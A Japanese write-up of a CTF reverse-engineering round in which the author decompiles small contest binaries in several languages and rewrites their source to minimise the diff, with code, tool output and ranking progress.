774 traP
565 Team Enu
522 chocorusk
367 parabola0149
321 TokyoWesterns
290 ids-TeamCC
218 KUDoS
85 catapult

C

x86_64の普通のELFが降ってくる。2つのファイルについて、差分のサイズを計算してくれるらしい。IDA Freewareがほぼそのままでコンパイル可能な形にデコンパイルしてくれて助かった。まずは main と、そこから呼び出されている get_size, myers_diff という関数のコードを取り出した。__cdecl__fastcall のような呼び出し規則の修飾子を削除し、さらに以下のようにヘッダファイルのインクルードをするようにしたり、__int64_QWORD のような型をなんとかしたりした。

#include <stdio.h>
#include <stdlib.h>

typedef long long int __int64;
typedef unsigned long long int _QWORD;
typedef unsigned char _BYTE;

最終的な差分サイズは1190。順位の推移は(0点) → 1 → 1 → 4 → 4 → (0点) → 5 → 5 → 5 → 5 → 5 → 5。

C++

鍵と平文を与えると、なんらかの形で暗号化してくれるバイナリ。

$ ./mission-2
Key: hoge
Plaintext: fuga
Ciphertext: e23ae831

IDA Freewareに投げるとこんな感じでデコンパイルしてくれる。RC4 というクラスがあって、インスタンス化時にはコンストラクタに鍵を渡し、暗号化時には Encrypt というメソッドに平文を渡すのだなあ、それで返ってきた暗号文を16進文字列で出力するのだなあとわかる。

RC4は素直な実装だし、IDA Freewareもまあまあいい感じにデコンパイルしてくれているので、それをC++らしく書き直すだけ。…のはずなんだけれども、この時点ではまだ戦い方を把握しきれておらず(また、ルールも把握しきれておらず)、上の方に書いた「バイナリを実行した結果から挙動の推測をし、それっぽいコードに変えていく」ことに時間をかけてしまっていた。

最終的な差分サイズは15332。順位の推移は1 → 2 → 2 → 3 → 3 → 3 → 4 → 4 → 9 → 5 → 5 → 5。

Rust

Rustわからんし、リバースエンジニアリングするのもバイナリが読みにくくてやだなあと思いつつ取り組む。実行すると次のような感じで、どうやらじゃんけんの勝者判定をすればよいらしい。

$ ./mission-3
Player 1 Hand [Rock/Paper/Scissors]: Rock
Player 2 Hand [Rock/Paper/Scissors]: Rock
Draw!

これまでの言語と同様にシンボル情報は残してくれていて、次のように get_player_hand という関数が使われているのだなあとか、おかしな手を出したら Invalid hand というメッセージで panic! するのだなあとかわかる。

見様見真似でそれっぽく書き、以下のようなコードができあがった。このあたりでlight-noteのヒント(?)が出ており、Jeopardyに未練があったので、盆栽は途中で切り上げて、次の言語に移行するまでの30分程度はそちらを見ることにした。

use std::io;

fn get_player_hand(x: u32) -> u32 {
    print!("Player {} Hand [Rock/Paper/Scissors]: ", x);

    let mut val = String::new();
    io::stdin().read_line(&mut val)
        .expect("Error getting guess");

    let s = val.to_lowercase().to_string();
    match &*s {
        "rock" => return 1,
        "scissors" => return 2,
        "paper" => return 3,
        _ => panic!("Invalid hand"),
    }
}

fn main() {
    let a = get_player_hand(1);
    let b = get_player_hand(2);

    match (b - a) % 3 {
        0 => println!("Draw!"),
        1 => println!("Player 1 wins!"),
        2 => println!("Player 2 wins!"),
        _ => unreachable!()
    }
}

最終的な差分サイズは28488。順位の推移は3 → 4 → (0点) → 5 → 4 → 4 → 4 → 4 → 4 → 5 → 5 → 5。うーん。ここらへんから他チームも最初にダミーでもよいからソースコードを提出しておけば点数が得られることに気づき始める。

Go

Rustと並んで、あまりバイナリを読みたくないランキングの上位にいるGolang。実行すると次のような感じで、数値を投げるとよくわからん数値を返してくれる。OEISに投げたら "Number of halving and tripling steps to reach 1 in '3x+1' problem" と教えてくれた。ありがとう。

$ ./mission-4
Number: 3
[DEBUG] quit := make(chan int)
[DEBUG] c := make(chan int)
[DEBUG] go shrinker(c, quit)
[DEBUG] go expander(c, quit)
7

デバッグ出力のおかげでgoroutineとチャネルを使っていそうだなあとわかる。うまいこと書けず悩んでいるうちに、複数の他チームがかなり小さい差分サイズを出してきたので、途中で切り上げてJeopardyやPythonラウンドに向けた準備をする。

package main

import (
    "fmt"
)

func shrinker(c chan int, quit chan int) {
 
}

func expander(c chan int, quit chan int) {

}

func main() {
    var i int
    fmt.Printf("Number: ")
    _, err := fmt.Scanf("%d", &i)
    if err != nil {
        fmt.Println("Invalid number")
        return
    }

    quit := make(chan int)
    fmt.Println("[DEBUG] quit := make(chan int)")
    c := make(chan int)
    fmt.Println("[DEBUG] c := make(chan int)")

    go shrinker(c, quit)
    fmt.Println("[DEBUG] go shrinker(c, quit)")
    go expander(c, quit)
    fmt.Println("[DEBUG] go expander(c, quit)")

    fmt.Println(0)
}

最終的な差分サイズは38546。順位の推移は(0点) → 5 → 4 → 5 → 6 → 7 → 7 → 7 → 7 → 7 → 7 → 7。ひどい。

Python

この問題ではELFでなくpycが降ってくる。pycの生成に使われるのはPython 3.12.0a3で、uncompyle6decompyle3によるデコンパイルはできないと踏んでいた。事前に以下のように(提供されるpycの解析だけでなく、それと出力されるpycを比較してソースコードの修正もできるように)すぐ逆アセンブルできるような準備を整えていた。案の定デコンパイルできなかったので、役立った。

$ python3 -c "import dis, marshal; f=open('/tmp/__pycache__/main.cpython-312.pyc','rb'); f.seek(16); dis.dis(marshal.load(f))"
  0           0 RESUME                   0

  1           2 PUSH_NULL
              4 LOAD_NAME                0 (print)
              6 LOAD_CONST               0 ('123')
              8 CALL                     1
             18 POP_TOP
             20 LOAD_CONST               1 (None)
             22 RETURN_VALUE

提供されたpycを実行すると、次のようによくわからん方法でテキストを暗号化してくれる。

$ python3 mission-5.pyc
Text: a
Cipher: 0xab3d884932f44013911c055a64fb4efe0244ccb95109e14fa09b4b3b5b3a0f0b55c557962c612736e238a412414827b2fef119500677cd32bd32073fcffd55295d3500c92d1f3b879c199801aa6c70d2fe89fe8a37419ad39ac74c68e67f3de0
$ python3 mission-5.pyc
Text: b
Cipher: 0x300020be7b72a12d5e22546329b5ca259de043edbf28607a147565f5e77ecd87e7e59be9255c4db6c5ad9283e09db9610c3715610af34ebf213da604519b384722f75bcc0a14087d2f78eb6d8c9ee690f27566f1330dc8e87d91cf83ae7cd8b5e

手でデコンパイルするしかない。pycのデコンパイルには慣れているし、提供されたpycは特に難読化を考えていないような素直なものだったから、割とサクサク進められた。できあがったものは次の通り。isPrime のループがうまいこと復元できず泣く*6。修正してはコンパイルして dis.dis の結果を比較するというのを繰り返して、いい感じにできた。

import random

def isPrime(n, k=10):
    if n == 2 or n == 3:
        return True
    if n & 1 == 0:
        return False

    r, s = 0, n - 1
    while s & 1 == 0:
        s >>= 1
        r += 1

    for _ in range(k):
        a = random.randrange(2, n - 1)
        x = pow(a, s, n)
        if x == 1 or n - x == 1:
            continue
        for _ in range(r - 1):
            x = (x * x) % n
            if n - x == 1:
                return False
        else:
            pass

    return True

def getPrime(bits):
    while True:
        p = random.randrange(1 << bits, 1 << (bits + 1))
        if isPrime(p):
            return p

if __name__ == '__main__':
    p = getPrime(256)
    q = getPrime(256)
    r = getPrime(256)
    n = p * q * r
    e = 65537
    m = int.from_bytes(input('Text: ').encode(), 'big')
    if m > n:
        print('Too long')
        exit(1)

    c = pow(m, e, n)
    print(f'Cipher: {hex(c)}')

    phi = (p - 1) * (q - 1) * (r - 1)
    d = pow(e, -1, phi)
    mm = pow(c, d, n)

    assert m == mm

最終的な差分サイズは151。順位の推移は1 → 1 → 3 → 3 → 3 → 2 → 1 → 2 → 2 → 2 → 1 → 1。これはよかった。

D

D*7。実行すると次のような感じで、入力したパスワードが正しいかどうかをチェックしてくれる。

$ ./mission-6
Password: a
Wrong...

以下のスクリーンショットはIDA Freewareでデコンパイルしたコード。左に main を、右に check_password という関数をデコンパイルしたものを置いているけれども、このようにバイナリは素直な感じになっていて読みやすい。

シンボルのデマングルも ddemangle を使えばできる。

root@739e71af9d39:/tmp/tools# ./dtools_ddemangle
_D3std9algorithm9iteration__T3mapS_D4main14check_passwordFAyaZ1fPFNaNbNiNfwZkZ__TQCaTAaZQChMFNaNbNiNfQqZSQDzQDyQDr__T9MapResultS_DQDqQDoFQDbZQDbQDcTQClZQBj
pure nothrow @nogc @safe std.algorithm.iteration.MapResult!(main.check_password(immutable(char)[]).f, char[]).MapResult std.algorithm.iteration.map!(main.check_password(immutable(char)[]).f).map!(char[]).map(char[])

というか、gdb でもできる。

$ gdb -q -n ./mission-6
Reading symbols from ./mission-6...
(No debugging symbols found in ./mission-6)
(gdb) info fun main
All functions matching regular expression "main":

Non-debugging symbols:
0x00000000000538dc  main.check_password(immutable(char)[])
0x0000000000053a00  main.check_password(immutable(char)[]).__lambda3(dchar)
0x0000000000053a08  D main
0x0000000000053aa4  main
…

バイナリはリバースエンジニアリングしやすいようになっているし、実際に上記の main, check_password に加えて、以下の check_password 中で使われているラムダ式を読むと、入力されたパスワードを 0x77 とXORしたものと固定のバイト列が比較されていることがわかる(どうでもいいけど、パスワードは Make D-lang Great Again!)。

__int64 __fastcall D4main14check_passwordFAyaZ9__lambda3FNaNbNiNfwZk(int a1)
{
  return a1 ^ 0x77u;
}

でも問題があって、私はD言語がまったく書けない。Dlang TourD言語基礎文法最速マスターを読んで、短い時間である程度書けるようにならなければならなかった。…なれませんでした。

手元ではコンパイルが通っているし、提供されたバイナリとの比較も何かエラーを吐いているわけではない(ただ、差分の計算に時間がかかっている様子だった)のになぜか得点が0点になっている。サーバ側での何かしらの障害を疑ったけれども、一部のチームは得点している様子だったので仕様通りの挙動っぽいと考える。ルールを読み直したところ、以下のような記述があった。どういった場合に得点できないかという話だ。

In any of the following cases, the team will not receive any points for the round:

  • The team does not upload any code for the language. (You don't have to upload the same code every round.)
  • The uploaded code does not compile within 10 seconds.
  • The diff calculation does not finish in 10 seconds, meaning there is too much difference.

ソースコードはアップロードしたし、コンパイルも1秒とかかっていない。残るは10秒で差分計算が終わらなかった場合だ。…ア! めっちゃ時間かかってた!! このようにルールで明記されていたし、差分計算にどれぐらい時間がかかるかはローカルで見積もれるわけだから、こういう事態に陥ることを考えておくことも、事前に対策しておくこともできたはず。5ラウンドで0点が続いた*8のは痛い失点だった。

はい。

できあがったコードは次の通り。import std.algorithm; みたいにモジュールをいくつかインポートするだけで差分サイズが改善されて、0点から脱出することができた。main の最初で ptrace を使ったデバッガ検知が行われていたので、どうやって呼び出すんだろうなあと調べていたのだけれども、頭が働いておらず結局見つからなかった。"dlang call c function" でググったら普通に出てきた

module main;

import std.stdio;
import std.string;
import std.algorithm;
import std.array;

bool check_password(string password) {
    byte[] x = [
        58,22,28,18,87,51,90,27,22,25,16,87,48,5,18,22,3,87,54,16,22,30,25,86
    ];
    auto y = array(map!("a ^ 0x77")(x));
    return equal(x, y);
}

void main()
{
    writeln("Password: ");
    if (check_password(strip(readln()))) {
        writeln("Correct!");
    } else {
        writeln("Wrong...");
    }
}

最終的な差分サイズは24556。順位の推移は(0点) → (0点) → (0点) → (0点) → (0点) → 4 → 4 → 4 → 4 → 4 → 4 → 4。

WebAssembly

この問題ではELFでなくwasmが降ってくる。実行すると次のような感じで、ねぎらいの言葉なのかなんなのかよくわからんけれども、計算をしてくれる。

$ node mission-7.js
[+] Computing...
Hit: 5963
[+] Done.

Emscriptenが吐き出すwasmは真面目に読んでいたら時間が足りない。とりあえず、WABTwasm2cwasm2wat, wasm-objdump でwasmに関する情報を出力させる。watの export セクションを見ると bruteforce, oracle, main あたりの関数がそれっぽいなあとわかる。ほかの __errno_locationdynCall_jiji は、Emscriptenでコンパイルした場合にはだいたい共通してついてくるやつ。

  (export "memory" (memory 0))
  (export "__wasm_call_ctors" (func 3))
  (export "__internal_bruteforce" (func 4))
  (export "bruteforce" (func 5))
  (export "oracle" (func 6))
  (export "__original_main" (func 7))
  (export "main" (func 8))
  (export "__indirect_function_table" (table 0))
  (export "__errno_location" (func 27))
  (export "stackSave" (func 51))
  (export "stackRestore" (func 52))
  (export "stackAlloc" (func 53))
  (export "dynCall_jiji" (func 55))

ここらへんの関数を EMSCRIPTEN_KEEPALIVE を使いつつ無理やりエクスポートさせる。中身は適当。

#include <stdio.h>
#include <emscripten.h>

EMSCRIPTEN_KEEPALIVE void oracle(int x) {
  return;
}

EMSCRIPTEN_KEEPALIVE int __internal_bruteforce(int y) {
  for (int i = 0; i < y; i++) {
      return 2;
  }
  return 5963;
}

EMSCRIPTEN_KEEPALIVE int bruteforce(int y) {
  return __internal_bruteforce(y);
}

EMSCRIPTEN_KEEPALIVE int main(void) {
  puts("[+] Computing...");
  printf("%d%d%d%d\n", __internal_bruteforce(1), __internal_bruteforce(1), __internal_bruteforce(3), __internal_bruteforce(3));
  puts("[+] Done.");
  return 0;
}

最終的な差分サイズは7623。順位の推移は4 → 5 → 4 → 4 → 4 → 4 → 3 → 3 → 4 → 4 → 4。

おわりに

とても楽しいCTFでした。運営の皆さん、また参加されていた皆さん、ありがとうございました。

*1:予選のことは忘れましょう

*2:スコアサーバに登録されているフラグや配布されたファイルから得られるフラグに誤りがあるという場合や、正しいフラグが得られているという確証が得られないような場合にhoardingしている問題を落としてしまうリスクはある

*3:今回コードゴルフが出たわけではない。もし出ていたら微妙な顔をしていたと思う

*4:2019年度の国内決勝大会でkimiyukiさんがひとりで準優勝していたのが印象深い

*5:私が名付けたチーム名だけれども、私も読み方は知らない。便宜上「顔文字」「顔文字チーム」と読んでいる

*6:泣いてません

*7:Dと聞くと、Arkさんの回転するD言語くんアイコンを思い出してしまう

*8:これが本当のzer0pts